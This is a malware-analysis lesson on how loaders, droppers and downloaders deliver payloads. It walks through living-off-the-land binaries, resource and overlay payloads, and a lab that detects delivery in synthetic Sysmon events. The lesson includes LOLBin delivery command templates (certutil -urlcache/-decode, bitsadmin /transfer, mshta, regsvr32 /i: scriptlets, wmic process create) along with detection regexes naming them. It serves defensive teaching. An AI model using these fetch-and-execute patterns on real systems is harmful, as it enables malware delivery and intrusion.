Skip to content

Lesson 7.1 · Malware Behaviours· 45 min

Loaders, Droppers and Downloaders

How malware actually arrives and starts running — living-off-the-land delivery, embedded payloads and in-memory loaders — and how to detect each from telemetry.

Objectives

  • Distinguish downloaders, droppers and loaders by what each one carries and where the payload ends up
  • Recognise the command-line shape of common living-off-the-land delivery binaries and cite their ATT&CK sub-techniques
  • Tell an embedded payload (PE resource or overlay) from a fetched one by static and dynamic evidence
  • Detect delivery from process-command-line and PowerShell telemetry rather than trying to catch every possible dropped file

Every lesson so far has looked at a sample as a static or running artefact: its headers, its imports, its memory, its packer. This module turns to what that artefact actually does once it is loose on a host, starting at the very beginning — how it got there and how it started running at all. Almost nothing arrives as a double-clicked, self-contained EXE any more. It arrives as a document macro, a script, or a one-line command that fetches, decodes or unpacks something else, usually more than once before real code runs. That first hop is also the one attackers can least avoid: whatever else a family does, it has to execute somehow, which makes delivery one of the most consistently observable stages of an intrusion.

Downloaders, droppers and loaders

The three words get used loosely, including by malware families that do not read this glossary before naming themselves, but the distinction is useful because it tells you where to look for the payload:

TermWhat it carriesWhere the payload ends upWhat you go looking for
DownloaderNothing — only a URL or C2 addressFetched over the network at run timeNetwork telemetry, the fetch command, the second-stage file on disk
DropperThe payload itself, embedded in its own file (a resource, an overlay, a second archive)Written out to disk as a new fileThe carrier file's resources/overlay; the new file it creates
LoaderThe payload, embedded or fetchedPlaced directly into memory, often in a new process, never written to disk as a final fileProcess/memory telemetry; the file it never wrote

Real samples blend these freely: a downloader fetches an encrypted blob that a small loader stub then decrypts and reflectively loads, so nothing that looks like the final payload is ever written to disk. What matters for analysis and detection is not picking the one correct label, but answering, for this sample, does the payload cross the network, touch disk, or only ever exist in memory — because each answer points you at a different kind of evidence.

Tip: A loader that never writes its payload to disk is not invisible. It still has to allocate memory, and usually still has to resolve the payload's imports, apply relocations and jump to its entry point — the exact sequence How Packers Work walks through for a packed executable's own stub. Dumping Memory and Extracting Payloads covers finding and dumping that region.

Living off the land: the dominant delivery pattern

Writing and shipping a custom downloader is unnecessary work when Windows already ships dozens of signed binaries that can fetch, decode or execute code on the attacker's behalf. These living-off-the-land binaries (LOLBins) are attractive for three reasons that matter to a defender as much as to an attacker: they are signed by Microsoft, so allow-listing by signature does not stop them; they are already present, so there is nothing to drop before the first stage runs; and their normal, legitimate use means a naive "alert on this binary running" rule is unworkable. ATT&CK groups most of them under T1218, System Binary Proxy Execution, with a sub-technique per binary; the closely related T1105, Ingress Tool Transfer, covers the download step itself regardless of which tool performs it.

The binary name is a weak signal on its own. The command-line shape — which flags, in which order, pointed at what kind of argument — is what separates routine administrative use from delivery:

BinaryWhat the pattern looks likeWhy it works
certutil.execertutil -urlcache -split -f http://.../a.txt a.txt then certutil -decode a.txt a.exeA certificate-management tool with an undocumented URL-fetch switch, plus a base64/hex decoder built in
bitsadmin.exebitsadmin /transfer job /download /priority high http://.../a.exe C:\...\a.exeQueues the fetch as a background service (BITS) job, so the download can outlive the parent process and blend in with legitimate update traffic
mshta.exemshta http://.../a.hta or mshta vbscript:...Runs an HTML Application with full script-engine access, launched by a signed Windows binary that most allow-list policies exempt
regsvr32.exeregsvr32 /s /n /u /i:http://.../a.sct scrobj.dll (the "Squiblydoo" pattern)Registers a remote COM scriptlet instead of a local DLL — nothing is ever written to disk
rundll32.exerundll32.exe a.dll,EntryPoint or rundll32.exe javascript:...The generic "run an exported function" launcher, so any exported name becomes an entry point, including ones a script engine will accept
wmic.exewmic process call create "powershell -enc ..." or an XSL scriptlet via /formatProxies process creation and remote script execution through a management tool, often already allowed for legitimate WMI use

Each of these has its own technique page with the full argument grammar and real-world families that use it; the point of the table is to train the eye to read a command line the way you would read disassembly — the arguments tell you what the instruction actually does, regardless of which "trusted" binary is doing it. certutil -decode and certutil -hashfile are both completely legitimate uses of the same binary; only the flags differ.

Embedding the payload instead of fetching it

A dropper avoids the network entirely by carrying its payload inside its own file. Two placements dominate on Windows, and both leave a distinct static signature that Detecting Packers and Entropy already trained you to spot, now with the added context of why it is there:

  • Payload in PE resources. The payload — often itself encrypted or compressed — sits in the .rsrc section as an ordinary resource entry (a bitmap, an icon group, a custom type), loaded at run time with FindResource/LoadResource and decrypted before use. Statically, this shows up as one resource entry whose size and entropy are wildly out of proportion to a real icon or string table; a resource viewer such as PE-bear will happily show you an "icon" that is several megabytes of near-random bytes.
  • PE overlay payload. The payload is appended after the last section, past everything the PE header describes. The Windows loader never maps an overlay — it only maps what the section table lists — so the bytes are inert until the carrier's own code opens its own file path (or reads itself from the memory-mapped image) and reads past the last section's declared end. Statically: the file on disk is larger than SizeOfImage, or than the sum of the section table's raw sizes, and the trailing region has the same too-high entropy as the resource case.

Both placements are also how many packers work internally — NSIS installers and compiled AutoIt scripts are two very common, legitimate-tooling wrappers that carry a script or payload the same way — which is why "this file has a packer-shaped structure" and "this file is a dropper" are often the same finding described from two directions. A short Python check tells you immediately whether either placement applies:

python
# overlay_check.py — flag an unusually large or high-entropy PE overlay
import math, sys
from collections import Counter
import pefile

def entropy(data):
    counts = Counter(data)
    n = len(data)
    return -sum((c / n) * math.log2(c / n) for c in counts.values()) if n else 0.0

pe = pefile.PE(sys.argv[1])
last = max(pe.sections, key=lambda s: s.PointerToRawData + s.SizeOfRawData)
end_of_sections = last.PointerToRawData + last.SizeOfRawData
data = open(sys.argv[1], "rb").read()
overlay = data[end_of_sections:]

print(f"file size:        {len(data):#x}")
print(f"end of sections:  {end_of_sections:#x}")
print(f"overlay size:     {len(overlay):#x}  ({len(overlay) / len(data):.1%} of file)")
if overlay:
    print(f"overlay entropy:  {entropy(overlay):.2f} bits/byte")

An overlay of a few hundred bytes is common and usually harmless (a digital-signature block is itself stored as trailing data on some files); an overlay that is megabytes in size with entropy above roughly 7.5 bits per byte is the pattern to flag for follow-up.

Detecting delivery from telemetry, not payloads

Chasing every possible dropped file is a losing game — the payload's hash, name and even format change on every build. The command-line and parent- process pair, on the other hand, are much harder for an attacker to vary without also changing which LOLBin they abuse, because the grammar each binary accepts is fixed by Microsoft. Two data sources cover almost every pattern in the table above:

  • Sysmon Event ID 1 (Process Creation) gives you the full command line and the parent image for every process launch. Matching the binary name plus a small set of flag patterns — certutil.*-urlcache, bitsadmin.*\/transfer, regsvr32.*\/i:https?:, mshta.*https?:, rundll32.*javascript: — catches the delivery step regardless of what it ultimately fetches or decodes.
  • PowerShell Script Block Logging (Event ID 4104) recovers the decoded content of -EncodedCommand and obfuscated scripts, which matters because many of the LOLBins above are used specifically to launch an encoded PowerShell one-liner as the next stage; the process-creation event alone only shows you the base64 blob.

Both signals are cheap to collect and — unlike antivirus signatures on the payload — do not need to be updated every time the malware author changes a string or a packer.

Warning: Every one of these binaries has legitimate uses: certutil for certificate operations, bitsadmin for genuine background transfers, regsvr32 for registering real local COM DLLs, wmic for routine systems administration. Tune each rule on the argument shape, not the binary name alone — certutil -hashfile is not certutil -urlcache, and an allow-list entry should pin the calling application, not just silence the binary.

What this sets up

Delivery is the first step, not the goal. Once code is running, the next lessons in this module cover what it typically does next: settle in with Persistence Mechanisms, reach out with Command and Control, and steal what it can reach. A loader or dropper that you catch at this stage, before persistence is installed, is the cheapest possible point in an intrusion to interrupt — which is the main reason delivery telemetry is worth building rules for even though the payload behind it will never stop changing.

Lab: detect LOLBin delivery patterns in synthetic process telemetry

This lab never runs any of the commands above. You generate a small file of synthetic Sysmon-style process-creation events for one workstation — ordinary administrative activity plus a simulated delivery chain — and write a Python script that flags the delivery patterns by command-line shape.

  1. Set up a working folder (standard library only):

    bash
    mkdir m7l && cd m7l
    python3 -m venv .venv
    .venv/bin/python --version
  2. Generate the events. Save as make_events.py. Ordinary use of certutil, bitsadmin and wmic is mixed in with a simulated chain: a phishing document spawns mshta against a remote HTA, which runs certutil to fetch and decode a second-stage EXE:

    python
    # make_events.py — synthetic Sysmon-style Event ID 1 records (JSON lines)
    import json
    
    HOST = "WS-DEMO-11"
    
    def ev(t, image, parent, cmdline):
        return {"UtcTime": f"2026-09-29 {t}", "EventID": 1, "Computer": HOST,
                "Image": image, "ParentImage": parent, "CommandLine": cmdline}
    
    events = [
        # --- ordinary administrative activity ---
        ev("09:02:11.100", r"C:\Windows\System32\certutil.exe",
           r"C:\Windows\System32\cmd.exe",
           r'certutil -hashfile C:\Installers\vendor_setup.msi SHA256'),
        ev("09:10:44.220", r"C:\Windows\System32\bitsadmin.exe",
           r"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe",
           r'bitsadmin /transfer UpdateJob /download /priority normal '
           r'https://update.example.com/agent.msi C:\ProgramData\Vendor\agent.msi'),
        ev("09:15:02.410", r"C:\Windows\System32\wbem\WMIC.exe",
           r"C:\Windows\System32\cmd.exe",
           r'wmic /node:WS-DEMO-12 process call create "cmd.exe /c ipconfig /all"'),
        # --- simulated delivery chain (all names fictional) ---
        ev("10:31:05.902", r"C:\Windows\System32\mshta.exe",
           r"C:\Users\demo\Downloads\Invoice_2026.doc.hta",
           r'C:\Windows\System32\mshta.exe hxxp-placeholder://update.example.net/i.hta'),
        ev("10:31:07.114", r"C:\Windows\System32\certutil.exe",
           r"C:\Windows\System32\mshta.exe",
           r'certutil -urlcache -split -f hxxp-placeholder://update.example.net/a.txt '
           r'C:\Users\demo\AppData\Local\Temp\a.txt'),
        ev("10:31:08.550", r"C:\Windows\System32\certutil.exe",
           r"C:\Windows\System32\mshta.exe",
           r'certutil -decode C:\Users\demo\AppData\Local\Temp\a.txt '
           r'C:\Users\demo\AppData\Local\Temp\upd.exe'),
        ev("10:31:09.877", r"C:\Users\demo\AppData\Local\Temp\upd.exe",
           r"C:\Windows\System32\certutil.exe",
           r'"C:\Users\demo\AppData\Local\Temp\upd.exe"'),
    ]
    
    with open("events.jsonl", "w") as f:
        for e in events:
            f.write(json.dumps(e) + "\n")
    print(f"wrote {len(events)} events")
    bash
    .venv/bin/python make_events.py
  3. Write the detector. Save as detect_delivery.py. Each rule matches one binary's known-suspicious flag grammar, not the binary name alone:

    python
    # detect_delivery.py — flag LOLBin delivery patterns in Sysmon-style JSON lines
    import json, re, sys
    
    RULES = [
        ("certutil-fetch", re.compile(r"certutil(\.exe)?\s.*-urlcache", re.I),
         "T1105/T1218", "certutil used to fetch a remote file"),
        ("certutil-decode", re.compile(r"certutil(\.exe)?\s.*-decode\b", re.I),
         "T1140/T1218", "certutil used to decode a staged file"),
        ("bitsadmin-fetch", re.compile(r"bitsadmin(\.exe)?\s.*\/transfer.*\/download", re.I),
         "T1105/T1197", "bitsadmin queued a background download"),
        ("mshta-remote", re.compile(r"mshta(\.exe)?\s+\S*://", re.I),
         "T1218.005", "mshta launched against a remote HTA/URL"),
        ("regsvr32-remote", re.compile(r"regsvr32(\.exe)?.*\/i:\S*://", re.I),
         "T1218.010", "regsvr32 registering a remote scriptlet (Squiblydoo)"),
        ("wmic-remote-exec", re.compile(r"wmic(\.exe)?\s+\/node:", re.I),
         "T1047/T1218", "wmic used against a remote node — confirm expected admin tooling"),
    ]
    
    def main(path):
        events = [json.loads(l) for l in open(path) if l.strip()]
        alerts = 0
        for e in events:
            cmd = e.get("CommandLine", "")
            for name, pattern, attack, desc in RULES:
                if pattern.search(cmd):
                    alerts += 1
                    print(f"[{name:<16}] {e['UtcTime']} {attack:<10} {desc}")
                    print(f"                   cmd: {cmd}")
                    print(f"                   parent: {e.get('ParentImage')}")
        print(f"-- {len(events)} events, {alerts} alerts")
    
    if __name__ == "__main__":
        main(sys.argv[1])
  4. Run it:

    bash
    .venv/bin/python detect_delivery.py events.jsonl
    text
    [certutil-fetch  ] 2026-09-29 10:31:07.114 T1105/T1218 certutil used to fetch a remote file
                       cmd: certutil -urlcache -split -f hxxp-placeholder://update.example.net/a.txt ...
                       parent: C:\Windows\System32\mshta.exe
    [certutil-decode ] 2026-09-29 10:31:08.550 T1140/T1218 certutil used to decode a staged file
                       cmd: certutil -decode C:\Users\demo\AppData\Local\Temp\a.txt ...
                       parent: C:\Windows\System32\mshta.exe
    [wmic-remote-exec] 2026-09-29 09:15:02.410 T1047/T1218 wmic used against a remote node — confirm expected admin tooling
                       cmd: wmic /node:WS-DEMO-12 process call create "cmd.exe /c ipconfig /all"
                       parent: C:\Windows\System32\cmd.exe
    -- 7 events, 3 alerts

    The two certutil alerts are the delivery chain, correctly separated from the benign certutil -hashfile line, which matches neither pattern. The wmic line is a legitimate administrative query in this scenario, but the rule fires anyway because remote WMIC execution is rare enough on most fleets to deserve a human decision rather than a silent allow-list — note that it says so, rather than claiming certainty. The mshta launch itself did not match here because its argument used a placeholder scheme; in a real event it would be a plain http:// or https:// URL and the mshta-remote rule would fire on it directly.

Questions to answer: Why does matching on -urlcache catch more real certutil abuse than matching on the binary name certutil.exe alone? The bitsadmin-fetch rule requires both /transfer and /download on the same command line — what legitimate BITS usage would that avoid flagging that a simpler rule would not? If the payload in this chain had instead been embedded in the phishing document as a resource rather than fetched by certutil, which of this lesson's two detection approaches (command-line telemetry vs. static resource/overlay inspection) would you need instead, and why? Which single additional field, if Sysmon recorded it, would let you confirm that upd.exe was in fact written by the preceding certutil -decode call rather than arriving some other way?

Key takeaways

  • Downloader, dropper and loader describe where the payload ends up — over the network, written to disk, or only ever in memory — and real samples often combine all three across a chain of stages.
  • Living-off-the-land binaries dominate real-world delivery because they are signed and already present; the command-line shape, not the binary name, is what separates abuse from routine administration.
  • An embedded payload shows up statically as a resource or trailing overlay whose size and entropy are out of proportion to what a normal file of that kind should contain.
  • Detect delivery from Sysmon process-creation telemetry and PowerShell script-block logging, matching argument grammar per binary, rather than trying to catch every possible dropped or fetched payload.
  • Delivery is the cheapest stage of an intrusion to interrupt — it precedes persistence, credential theft and command and control, all covered next in this module.